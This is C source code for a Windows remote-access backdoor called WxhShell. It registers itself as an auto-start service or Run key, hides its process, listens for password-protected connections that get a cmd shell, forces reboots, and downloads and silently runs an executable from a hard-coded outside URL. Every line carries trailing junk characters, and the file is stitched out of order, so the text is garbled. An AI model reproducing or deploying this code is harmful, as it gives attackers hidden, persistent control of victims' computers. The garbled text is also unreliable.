    if(Boot(SHUTDOWN)) bt1bTo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}T7F+  
    else { K'8?%&IQ  
    closesocket(wsh); 4IW90"uc  
    ExitThread(0); 7lF;(l^Z>}  
    } l<=k#d  
    break; N4VZl[7?  
    } }T}c%p  
  // 获取shell emJZ+:%  
  case 's': { "dndhoMq  
    CmdShell(wsh); !X"nN9k  
    closesocket(wsh); '.pGkXyQ  
    ExitThread(0); ]5*H/8Ke7  
    break; -ys/I,}<  
  } J:uFQWxZ   
  // 退出 jl 7>  
  case 'x': { /-lW$.+{?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zBTxM  
    CloseIt(wsh); 3VMaD@nYa  
    break; |]q{ qsy  
    } V3*@n*"N;  
  // 离开 LQ Ux}  
  case 'q': { *j,noHUT~>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N!?~Dgw  
    closesocket(wsh); &~.|9P/45  
    WSACleanup(); Su,<idS  
    exit(1); |,n(9Ix  
    break; ^oDs*F  
        } 4$2HO `@uN  
  } T^d<vH  
  }  K\ pZ  
A9Ea}v9:  
  // 提示信息 *R4=4e2#S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .u7grC C  
} v%`k*n':  
  } E<B/5g!  
K-*ZS8  
  return; #+" D?  
} "\9 beK:l  
B "4A1!  
// shell模块句柄 Ls|)SiXrY  
int CmdShell(SOCKET sock) kW%wt1",  
{ 0.!vp?  
STARTUPINFO si;  874j9ky[  
ZeroMemory(&si,sizeof(si)); j";L{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e5FF'~A%]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s;Zi   
PROCESS_INFORMATION ProcessInfo;  56C'<#  
char cmdline[]="cmd"; _8`S&[E?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 33}p02#  
  return 0; 2}P{7flDY  
} g(jn /Cx  
lnMU5[g{  
// 自身启动模式 ="@f~~  
int StartFromService(void) nyhHXVRH  
{ bTYR=^9  
typedef struct g rQ,J  
{ Rdj3dg'<  
  DWORD ExitStatus; J +Y?'"r  
  DWORD PebBaseAddress; Bq4@I_b  
  DWORD AffinityMask; #cD$ DA  
  DWORD BasePriority; ) cOBP}j+  
  ULONG UniqueProcessId; 4ee-tKH  
  ULONG InheritedFromUniqueProcessId; 0Iyb}  
}   PROCESS_BASIC_INFORMATION; '|tmmoY6a:  
Frx_aGLH1  
PROCNTQSIP NtQueryInformationProcess; :%fnJg(  
SZxnYVY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ms&5Bq+9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vls+E o]  
b\NY!)B  
  HANDLE             hProcess; bWCtRli}  
  PROCESS_BASIC_INFORMATION pbi; #'#@H  
4 ;6,h6a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &ML-\aSal  
  if(NULL == hInst ) return 0; s/;S2l$`  
#cJ1Jj $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~-yq,x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yi-)4#YN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "[_gRe*2  
!a%_A^t7  
  if (!NtQueryInformationProcess) return 0; JsX}PVuL  
(c3O> *M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,k:>Z&:  
  if(!hProcess) return 0; uqBVKE  
T%PUV \LV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HXB & 6  
KpQ@cc  
  CloseHandle(hProcess); T}'*Gry  
d<cQYI4V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1NN#-U  
if(hProcess==NULL) return 0; &6\E'bBt  
A(C0/|#V  
HMODULE hMod; JVx-4?  
char procName[255]; %NhZTmWm  
unsigned long cbNeeded; N40DL_-  
9~r8$,e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ``h* A  
\gir  
  CloseHandle(hProcess); Jjx1`S*i  
'_n$xfH  
if(strstr(procName,"services")) return 1; // 以服务启动 ,F|49i.K  
S; !7 /z  
  return 0; // 注册表启动 6I5LZ^/G9  
} %wq;<'W  
`4|:8@,3{  
// 主模块 I^``x+a  
int StartWxhshell(LPSTR lpCmdLine) U]E~7C  
{ vri<R8  
  SOCKET wsl; Hq <!&  
BOOL val=TRUE; l8DZ2cw]  
  int port=0; R36A_  
  struct sockaddr_in door; :u?L y[x  
gF|u%_y-qt  
  if(wscfg.ws_autoins) Install(); Jj+Hj[(@  
u>03l(X6f  
port=atoi(lpCmdLine); =kW7|c5Z  
#/>OW2Ny  
if(port<=0) port=wscfg.ws_port; 2J6(TrQ  
s%l^zA(  
  WSADATA data; 6l(HD([_p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q+ 9c81b  
(;nh?"5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bh q]h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eC$ Jdf  
  door.sin_family = AF_INET; X_wPuU%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6oR5q 4  
  door.sin_port = htons(port); p<(b^{EX  
JjH141 n%D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !ac,qj7spa  
closesocket(wsl); Vfr.Yoy  
return 1; ]RI+:f  
} T^nOv2@,  
/Nd`eUn  
  if(listen(wsl,2) == INVALID_SOCKET) { JHsxaX;c  
closesocket(wsl); zW; sr.  
return 1; 2Ni {fC?  
} '!XVz$C  
  Wxhshell(wsl); oMb@)7  
  WSACleanup(); kfs[*ku  
Uj)`(}r  
return 0; 5oY^; )\/  
K!|J/W  
} =D^R,Q  
_VLA2#V>   
// 以NT服务方式启动 !='L`.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AbOF/ g)C  
{ -pm%F8{T]  
DWORD   status = 0; u_%L~1+'  
  DWORD   specificError = 0xfffffff; G@6F<L~$1  
{} Zqaf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;v%f +  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^[hx`Rh`t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sk%*Zo{|  
  serviceStatus.dwWin32ExitCode     = 0; 6F3FcUL  
  serviceStatus.dwServiceSpecificExitCode = 0; p']oy;t  
  serviceStatus.dwCheckPoint       = 0; qbD[<T  
  serviceStatus.dwWaitHint       = 0; IFW"S fdZk  
:sJQ r._L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $36.*s m  
  if (hServiceStatusHandle==0) return; P^m&oH5]EG  
_G ^Cc}X  
status = GetLastError(); j4]y(AA  
  if (status!=NO_ERROR) Q;eY]l8  
{ "|d# +C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bm-&H   
    serviceStatus.dwCheckPoint       = 0; L<ET"&b;4  
    serviceStatus.dwWaitHint       = 0; LZ1)zoJ  
    serviceStatus.dwWin32ExitCode     = status; /n8\^4{fP{  
    serviceStatus.dwServiceSpecificExitCode = specificError; C\gKJW^]y@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;^|:*  
    return; /zIUYY  
  } OCbwV7q:  
C5EaP%s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #-bz$w#*  
  serviceStatus.dwCheckPoint       = 0; |aS272'  
  serviceStatus.dwWaitHint       = 0; G57c 8}\4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h~u|v[@{J  
} d&t,^Hj  
Fz@9 @  
// 处理NT服务事件,比如:启动、停止 $3^Cp_p6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MW|:'D`  
{ ~ qezr\$2  
switch(fdwControl) CjUYwAy$k  
{ Yp;?Zq9  
case SERVICE_CONTROL_STOP: J42/S [Rt  
  serviceStatus.dwWin32ExitCode = 0; Apc!!*7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e3]v *<bj  
  serviceStatus.dwCheckPoint   = 0; fsUZG6  
  serviceStatus.dwWaitHint     = 0; w'a3=_nW  
  { S0!w]Ku  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \JIyJ8FleC  
  } p?'&P!  
  return; x5eSPF1  
case SERVICE_CONTROL_PAUSE: 9}aEV 0 V|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q4F&#^02y  
  break;  Jju^4  
case SERVICE_CONTROL_CONTINUE: &/-}`hIAT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E{{Kz r2$  
  break; i@#=Rxp  
case SERVICE_CONTROL_INTERROGATE: =&roL7ps  
  break; t-)d*|2n}o  
}; ]Yk)A.y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dnCurWjdk  
} .g!K| c  
ZFRKzPc {V  
// 标准应用程序主函数 80 ckh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oz Axnd\.N  
{ aBWA hn  
4XIc|a Aa  
// 获取操作系统版本 9G^gI}bY  
OsIsNt=GetOsVer(); ZMO ym=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WGHf?G/s  
. pyNET  
  // 从命令行安装 sI6coe5n  
  if(strpbrk(lpCmdLine,"iI")) Install(); y1 a1UiHGP  
r>B|JPm  
  // 下载执行文件 :?SD#Vvrh.  
if(wscfg.ws_downexe) { !TLJk]7uC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )F,z pGG  
  WinExec(wscfg.ws_filenam,SW_HIDE); %`}nP3  
} @IV,sz e  
qpV"ii  
if(!OsIsNt) { /n1L},67h  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q+ZZwqyxD  
HideProc(); hd@jm^k  
StartWxhshell(lpCmdLine); 3>mAZZL5[  
} j?1wP6/NP  
else 1x^Vv;K  
  if(StartFromService()) QAX3*%h  
  // 以服务方式启动 heQyz|o  
  StartServiceCtrlDispatcher(DispatchTable); 0HN%3AG]  
else %{ory5  
  // 普通方式启动 #|=Q5"wU  
  StartWxhshell(lpCmdLine); /cZTj!M  
}/M muPp  
return 0; lESv  
} ^o4](l  
&1ZUMc  
oqbhb1D1<  
>35W{ d  
=========================================== H`1q8}m  
=:'\wx X  
k{D0&  
st)qw]Dn;Y  
i@mS8%|l  
-`UOqjb]3  
" lN*beOj  
7QRkXs  
#include <stdio.h> \&[(PNl  
#include <string.h> wU|jw(  
#include <windows.h> ic}mru  
#include <winsock2.h> L}rYh`bUP[  
#include <winsvc.h> 0X5b32  
#include <urlmon.h> J T6}m  
h 27f0x9  
#pragma comment (lib, "Ws2_32.lib") ^0&jy:{  
#pragma comment (lib, "urlmon.lib") iP6?[pl8  
NuW6~PV  
#define MAX_USER   100 // 最大客户端连接数 N9 h|_ax  
#define BUF_SOCK   200 // sock buffer ]A%~bQ7  
#define KEY_BUFF   255 // 输入 buffer \}W !  
Z"$iB-]  
#define REBOOT     0   // 重启 )YW"Zo8~!1  
#define SHUTDOWN   1   // 关机 Wg,7k9I  
pfHfw,[  
#define DEF_PORT   5000 // 监听端口 n;wViw  
Q" r y@ (I  
#define REG_LEN     16   // 注册表键长度 >R5A@0@d5  
#define SVC_LEN     80   // NT服务名长度 8Oz9 UcG  
6Ta+f3V   
// 从dll定义API <<R2 X1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HvmE'O8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E;wT4 T=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o2[$X ONTl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X 8):R- J  
kPoz&e_@  
// wxhshell配置信息 I51I(QF=  
struct WSCFG { ~F%sO'4!  
  int ws_port;         // 监听端口 q1v7(`O  
  char ws_passstr[REG_LEN]; // 口令 29cx(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gn<0Fy2  
  char ws_regname[REG_LEN]; // 注册表键名 r dCs  
  char ws_svcname[REG_LEN]; // 服务名 NF7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .5);W;`X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &2S-scP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =cO5Nt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;hF}"shJN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >@Pw{Zh$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2|ej~}Y  
P+BGCc%);B  
}; gu:vf/  
Y>at J  
// default Wxhshell configuration RA?_j$  
struct WSCFG wscfg={DEF_PORT, Jg)( F|>o  
    "xuhuanlingzhe", 8!YQ9T[  
    1, *6eJmbFG  
    "Wxhshell", }Xfg~ %6  
    "Wxhshell", K1o>>388G  
            "WxhShell Service", ay|jq "a  
    "Wrsky Windows CmdShell Service", &nwS7n1eb  
    "Please Input Your Password: ", +~ Hb}0ry  
  1, &*Xrh7K2e  
  "http://www.wrsky.com/wxhshell.exe", Bex;!1  
  "Wxhshell.exe" 8:)[.  
    }; 'IFA>}e7W  
bRrS d:e  
// 消息定义模块 @3$I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q*5L",  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v9FR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QmSMDWkh  
char *msg_ws_ext="\n\rExit."; l0;u$  
char *msg_ws_end="\n\rQuit."; FPkk\[EU  
char *msg_ws_boot="\n\rReboot..."; ?iV}U  
char *msg_ws_poff="\n\rShutdown..."; lJN#_V0qW  
char *msg_ws_down="\n\rSave to "; $_;rqTk]g  
)+|wrK:*v  
char *msg_ws_err="\n\rErr!"; M$.bC0}T  
char *msg_ws_ok="\n\rOK!"; 60]VOQku  
|&xaV-b9W  
char ExeFile[MAX_PATH]; wN10Drc   
int nUser = 0; SvQ|SKE':  
HANDLE handles[MAX_USER]; SjpCf8Z(  
int OsIsNt; *aC[Tv[-P  
(+;D~iN`k  
SERVICE_STATUS       serviceStatus; [[]y Q "  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -G@uB_Cs  
6P}?+ Gc  
// 函数声明 ~k-'  
int Install(void); %rJDpB{  
int Uninstall(void); @ *~yVV!5  
int DownloadFile(char *sURL, SOCKET wsh); A,tg268  
int Boot(int flag); J[r_ag  
void HideProc(void); l)o!&]2  
int GetOsVer(void); 1LSJy*yY  
int Wxhshell(SOCKET wsl); ,YjjL  
void TalkWithClient(void *cs); (gPB@hAv  
int CmdShell(SOCKET sock); XR9kxTuk  
int StartFromService(void); ZMZWO$"K1  
int StartWxhshell(LPSTR lpCmdLine); R-dv$z0  
G7|d$!%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rqiH!R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rp dv{CUp7  
<}A6 )=T  
// 数据结构和表定义 f*rub. y  
SERVICE_TABLE_ENTRY DispatchTable[] = 2;*G!rE&*`  
{ 0tL5t7/Gr  
{wscfg.ws_svcname, NTServiceMain}, d }fd^x/  
{NULL, NULL} Sz<:WY/(x  
}; p>\[[Md  
p/Q< VV  
// 自我安装 V"(5U(v{~  
int Install(void) ,r~^<m  
{ ~Q Q1ZP3  
  char svExeFile[MAX_PATH]; ~PQR_?1  
  HKEY key; h lc!}{$%8  
  strcpy(svExeFile,ExeFile); c^'bf_~-W  
^H2TSaJ;  
// 如果是win9x系统,修改注册表设为自启动 X]2Ib'(  
if(!OsIsNt) { !KJ X$?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==?%]ZE8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FN/l/OSb  
  RegCloseKey(key); k$m'ebrS.~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ME]7e^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +PWm=;tcC  
  RegCloseKey(key); :|S[i('  
  return 0; E$4H;SN \  
    } B8T5?bl  
  } EXjR&"R  
} w5)KWeGa  
else { "N_@q2zF  
/O$~)2^h  
// 如果是NT以上系统,安装为系统服务 Q.7X3A8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z1,#ma}.  
if (schSCManager!=0) mZ? jpnd  
{ PWvTC`?  
  SC_HANDLE schService = CreateService ~N| aCi-X  
  ( bA Yp }  
  schSCManager, 1I'}Uh*  
  wscfg.ws_svcname, GHLnwym  
  wscfg.ws_svcdisp, R+He6c!?9  
  SERVICE_ALL_ACCESS, 5xnEkg4q4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >7X5/z  
  SERVICE_AUTO_START, 4IB`7QJq  
  SERVICE_ERROR_NORMAL, u81F^72U  
  svExeFile, Y>FLc* h  
  NULL, :.l\lj0Yf  
  NULL, c[X6!_  
  NULL, ] s 2ec  
  NULL, DwFvM0O6\  
  NULL )>b1%x} =  
  ); 5N6R%2,A  
  if (schService!=0) jt323hHth  
  { ^-s7>F`jx  
  CloseServiceHandle(schService); AVU'rsXA  
  CloseServiceHandle(schSCManager); rk&oKd_&i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pX>wMc+  
  strcat(svExeFile,wscfg.ws_svcname); Ekrpg^3qp"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W^ask[46R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o](ORS$~  
  RegCloseKey(key); !IC .0I`  
  return 0; ^i WGGnGS  
    } bzZdj6>kX  
  } @q]!C5  
  CloseServiceHandle(schSCManager); 'cQ`jWZQ  
} Sjw wc6_c  
} d3?gh[$  
:mCGY9d4L  
return 1; +|+fDQI  
} 0L"uU3  
yJqDB$0  
// 自我卸载 :18}$  
int Uninstall(void) R*W1<W%q=  
{ wV$V X  
  HKEY key; P&5vVA6K7  
#q0xlF@  
if(!OsIsNt) { #\Q)7pgi.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W0U|XX!&  
  RegDeleteValue(key,wscfg.ws_regname); p((.(fx  
  RegCloseKey(key); P??pWzb6HH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?H!&4o  
  RegDeleteValue(key,wscfg.ws_regname); n Zx^ej\  
  RegCloseKey(key); T?u*ey~Tv  
  return 0; /Z#AHfKF  
  } {BAZ`I  
} 2e ~RM2PQ  
} rvnm*e,  
else { {"|GV~  
5y0LkuRR:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T_)+l)  
if (schSCManager!=0) r`u 9MJ*  
{ ! c~3`7v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j.c4  
  if (schService!=0) flBJO.2  
  { #^i+'Z=L  
  if(DeleteService(schService)!=0) { cx)x="c  
  CloseServiceHandle(schService); +'` ^ N  
  CloseServiceHandle(schSCManager); {=R vFA  
  return 0; OQuTM[W  
  } zn*i  
  CloseServiceHandle(schService); T[0CD'|E  
  } "6?Y$y/wm  
  CloseServiceHandle(schSCManager); rHjR 4q  
} T z+Y_  
} MI8c>5?  
NH1|_2  
return 1; n=!5ha%#N  
} )s 1 Ei9J  
c1f`?i}.  
// 从指定url下载文件 Uf[Gs/!NV  
int DownloadFile(char *sURL, SOCKET wsh) #?\|)y4i  
{ )MM(HS  
  HRESULT hr; )@.ODW;`  
char seps[]= "/"; @ eP[*Q  
char *token; AucX4J<  
char *file; xxdxRy9/  
char myURL[MAX_PATH]; 1BzU-Ma  
char myFILE[MAX_PATH]; "rQ?2?  
)[t3-'  
strcpy(myURL,sURL); % =v<3  
  token=strtok(myURL,seps); *qIns/@  
  while(token!=NULL) *nUa0Zg4q6  
  { jN7Z} 1`  
    file=token; R ta_\Aj!  
  token=strtok(NULL,seps); !-gOqo  
  } ux7g%Q ^"  
Qm?o^%a  
GetCurrentDirectory(MAX_PATH,myFILE); } /Iw]!lK2  
strcat(myFILE, "\\"); mP)im]H  
strcat(myFILE, file); o`ODz[04  
  send(wsh,myFILE,strlen(myFILE),0); bqR0./V  
send(wsh,"...",3,0); y=}a55:qE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ue}lAW{q  
  if(hr==S_OK) jin?;v  
return 0; r3Ih]|FK#  
else D4GXZX8 K  
return 1; D2#.qoP #  
=1F F2#zS  
} rk?G[C)2c  
ou&7v<)x4  
// 系统电源模块 kca  Y  
int Boot(int flag) N%?8Bm~dP  
{ umiD2BRZ  
  HANDLE hToken; hN:2(x  
  TOKEN_PRIVILEGES tkp; FkoN+\d  
LGVGr  
  if(OsIsNt) { Tj=g[)+K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qjvIp-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v#KE"m  
    tkp.PrivilegeCount = 1; K~z9b4a>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *icxK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rMUQh~a/  
if(flag==REBOOT) { `qbsDfq@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tq >?.bq9  
  return 0; W3i X;-Z  
} :cTwp K  
else { Dr"F5Wbg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gB#$"mq,  
  return 0; y `w5u.'  
} TqMy">>  
  } 4dvuw{NZ  
  else { V6 ,59  
if(flag==REBOOT) { )'?@raB!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .J|" bs9  
  return 0; ^`!EpO>k9  
} o"A%dC_  
else { nF| m*_DW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) We#O' m  
  return 0; KY;E.D`  
} N+ R/ti  
} 6~Xe$fP(  
?x &"EhA>  
return 1; \LW '6 pQ_  
} [kq+a] q  
)c<5:c  
// win9x进程隐藏模块 c7N`W}BZ  
void HideProc(void) T\Q)"GB  
{ xo_Es?  
%!1:BQ,p,i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +EgQj*F*  
  if ( hKernel != NULL ) !~k-S exh  
  { niN$!k+Jr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Ikx0vDFQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <El6?ml@  
    FreeLibrary(hKernel); +hS}msu'  
  } TXQ Y&7  
Kth^WHL  
return; x:Kca3pv_  
} enT.9|vm/  
EGyQ hZ mO  
// 获取操作系统版本 # S4{,  
int GetOsVer(void) #fYz367>  
{ bKH8/*Yk  
  OSVERSIONINFO winfo; F/w!4,'<?5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .Su9fj y%  
  GetVersionEx(&winfo); 'rdg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nl1v*9_x  
  return 1; Jk7[}Jc$  
  else t1 .6+  
  return 0; wBXgzd%L  
} KArnNmJ9  
eESJk 14  
// 客户端句柄模块 }3!.e  
int Wxhshell(SOCKET wsl) PV%7 m7=x  
{ z|SLH<~  
  SOCKET wsh; R3$e q )  
  struct sockaddr_in client; 2$? )VXtw  
  DWORD myID; %+9Mr ami  
2FS,B\d  
  while(nUser<MAX_USER) !g~xn2m$R  
{ |&TRN1  
  int nSize=sizeof(client); l>M&S^/s j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Tr8.4  
  if(wsh==INVALID_SOCKET) return 1; vf(\?Js ,  
kqA`d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _>*$%R  
if(handles[nUser]==0) A_@#V)D2  
  closesocket(wsh); . \fzK  
else p]#%e0  
  nUser++; /\_ s  
  } fF8g3|p:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :U<`iJwY  
4jrY3gyBX  
  return 0; ,.f GZ4  
} ]ba O{pJi  
u<\/T&S  
// 关闭 socket #x&1kHu<  
void CloseIt(SOCKET wsh) F 3}cVO2bY  
{ P{)eZINlE  
closesocket(wsh); !T|X/B R  
nUser--; TP oP%Yj"  
ExitThread(0); 70m}+R(`  
} y_8 8I:O  
-q\1Tlc]3  
// 客户端请求句柄 o$YL\ <qp  
void TalkWithClient(void *cs) 3%xj-7z W  
{ SVaC)O(  
z&d&Ky  
  SOCKET wsh=(SOCKET)cs; >+fet ,  
  char pwd[SVC_LEN]; ,?7U Rx*  
  char cmd[KEY_BUFF]; ( _E<?  
char chr[1]; #f~#38_  
int i,j; U w][U  
F\&R nDJ  
  while (nUser < MAX_USER) { [*#ms=Zdc  
fXBA P10#  
if(wscfg.ws_passstr) { O6;7'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7WW@%4(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~FM5]<X)  
  //ZeroMemory(pwd,KEY_BUFF); kL,AY-Iu{@  
      i=0; SUfl`\O  
  while(i<SVC_LEN) { +kQ$X{+;8  
Ah28D!Gor  
  // 设置超时 ,`MUd0 n  
  fd_set FdRead; xO6)lVd  
  struct timeval TimeOut; grnlJ=  
  FD_ZERO(&FdRead); do%6P^ qA  
  FD_SET(wsh,&FdRead); 2|Hq[c=~  
  TimeOut.tv_sec=8; RpR;1ktF>  
  TimeOut.tv_usec=0; QkwBw^'_5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7\K=8G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =x9zy]  
/WB^h6qg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4l E j/#}  
  pwd=chr[0]; /e6\F7  
  if(chr[0]==0xd || chr[0]==0xa) { O[;>Y'zqC%  
  pwd=0; c:4M|t=  
  break; *K'(t  
  } `$7j:<c=  
  i++; O!kBp(?]  
    } kl_JJX6jPP  
TB4|dj-%  
  // 如果是非法用户,关闭 socket a&p|>,WS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tD.md _E  
} |28z4.  
 =h\,-8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pog*}@ OS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KE`}P<K&  
]4yWcnf  
while(1) { B{lBUv(B  
V,fSn:8%M  
  ZeroMemory(cmd,KEY_BUFF); egxh  
$3|++?  
      // 自动支持客户端 telnet标准   :a R&t#<"E  
  j=0; N)03{$WM  
  while(j<KEY_BUFF) { $uF} GP_)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Q#_<IcI  
  cmd[j]=chr[0]; lzN\~5a}  
  if(chr[0]==0xa || chr[0]==0xd) { AF>J8V  
  cmd[j]=0; Mk7,:S  
  break; kcVEE)zb  
  } 0p :FAvvNI  
  j++; Ua)ARi %  
    } pM= @  
<V#9a83JP  
  // 下载文件 ds,NNN<HW  
  if(strstr(cmd,"http://")) { 9sifc<za  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "m.jcKt  
  if(DownloadFile(cmd,wsh)) iVLfAN @  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r'#5ncB  
  else &p%0cjg"Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HP^<2?K  
  } >f JY  
  else { #!l\.:h%  
V<Q''%k  
    switch(cmd[0]) { LWuciHfd+  
  V6B`q;lA  
  // 帮助 j]#qq]c  
  case '?': { 'z8?_{$   
